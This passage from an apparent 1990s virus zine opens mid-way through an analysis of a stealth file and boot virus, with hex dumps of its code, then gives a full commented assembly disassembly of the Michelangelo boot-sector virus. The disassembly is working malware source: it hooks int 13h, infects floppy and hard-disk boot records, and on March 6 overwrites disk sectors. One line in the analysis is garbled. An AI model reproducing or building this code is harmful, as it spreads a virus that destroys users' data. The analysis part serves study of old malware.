interrupts are used instead of int 21h and 13h. This technique
is probably used to prevent triggering of certain antivirus
utilities. These utilities often controls all invokations of
21h and 13h interrupts. The infection routine appends virus to
the end of executable file and adjusts the program entry
point.
Executable files with COM extension are modified by virus
at first 3 bytes, which are replaced with JMP instruction,
pointing on the decryptor. Original 3 bytes from file start
are stored at the very end of the infected file (like the body
of virus these bytes are encrypted with XOR function).
After modification of the EXE file header new CS:IP
points on the virus decryptor. SS, SP and MINALLOC fields are
changed. Original CS, IP, SS and SP are stored at the end of
the virus body at offset A4Fh (you cannot fetch these bytes
directly - they are encrypted).
The header of the infected EXE file has some special
features. Instruction pointer always follows the relation:
4STARSHIP_1<.
18FB:0060 FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02 ..uA...u?..u8...
18FB:0070 75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18 u).P...X......r.
18FB:0080 50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01 PVr.......&.@...
18FB:0090 26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6 &.@.^X...|<...t.
18FB:00A0 80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8 ...t..>....u.Q..
18FB:00B0 80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6 ...Yr....r....t.
18FB:00C0 75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E u.......>O..u.P.
18FB:00D0 8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E ..-......<.H....
18FB:00E0 F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00 ..O..X....
18FB:00F0 00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51 .un.n.ui....r.PQ
==================================================================
Figure 2. Dump of pseudoDOS boot sector
(thin line denotes random garbage).
0000 EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13 .4.MS.....s.2...
0010 4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E Ou...........>.~
0020 EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03 .u...~..~.....t.
0030 80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4 ....S..3.....|..
0040 8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53 ...............S
0050 06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0 ....7...........
0060 04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F .........L......
0070 FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08 ...}..}.....|...
0080 0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB ..t.P....z.XA...
0090 02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD ..6.........&...
00A0 B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00 .&.c.&........L.
00B0 B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00 ....N....|......
00C0 E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27 .S.SQ...2.&0.&.'
00D0 43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB C..Y[.....P.S...
00E0 8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02 ...P.&.?.t.RQ...
00F0 B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A ................
0100 0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A .&0.C..YZ[.X....
+--------------------------------+
0110 5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0| _.........3.P.2.
+--------------------+ |
|0120 B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8| .P..............
|0130 98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04| ..X.............
|0140 A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8| ................
|0150 EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5| ................
|0160 A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06| ................
|0170 E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02| ...........7....
|0180 1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90| ..........b.z...
|0190 90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C| ...........KL...
|01A0 BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6| .#T....k[.....^.
|01B0 88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F| ....d....ij....o
|01C0 FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B| .+.........|....
|01D0 F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00| ...~............
|01E0 8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37| .6.~...u.......7
| +-----------------+
|01F0 90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA ....W.....t...U.
+-----------------------------------+
==================================================================
Figure 3. Dispatcher code located at absolute address 0:4B0.
a) virus code located in videomemory
0000:04B0 CD B0 INT B0 <== int 13h
0000:04B2 9A 5F 00 00 BB CALL BB00:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC CD B0 INT B0 <== int 21h
0000:04BE 9A D6 03 00 BB CALL BB00:03D6
0000:04C3 EA 60 14 73 02 JMP 0273:1460
0000:04C8 CD B0 INT B0 <== int 20h
0000:04CA 9A DD 03 00 BB CALL BB00:03DD
0000:04CF EA 3F 14 73 02 JMP 0273:143F
0000:04D4 CD B0 INT B0 <== int 27h
0000:04D6 9A 93 03 00 BB CALL BB00:0393
0000:04DB EA 66 63 73 02 JMP 0273:6366
b) after removing of code from videomemory
(segment CS=18FB is where virus resides)
0000:04B0 90 NOP <== int 13h
0000:04B1 90 NOP
0000:04B2 9A 5F 00 6D 19 CALL 18FB:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC 90 NOP <== int 21h
0000:04BD 90 NOP
0000:04BE 9A C5 00 6D 19 CALL 18FB:00C5
0000:04C3 EA 3D A3 00 F0 JMP 0273:1460
0000:04C8 EB 05 JMP 4CF <== int 20h
0000:04CA EA 3F 14 73 02 JMP 0273:143F
0000:04CF EA 66 63 73 02 JMP 0273:6366
0000:04D4 EB F4 JMP 4CA <== int 27h
===============================================================
All corrections and remarks will be greatly appreciated. Send
information directly via E-mail address (MIG@politon.msk.su) or
in comp.virus group of USENET (I am monitoring it permanently).
F .rs mbyt- tF .rs mbyt- tF . (What is this? -Ed.)
40Hex Number 8 Volume 2 Issue 4 File 006
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end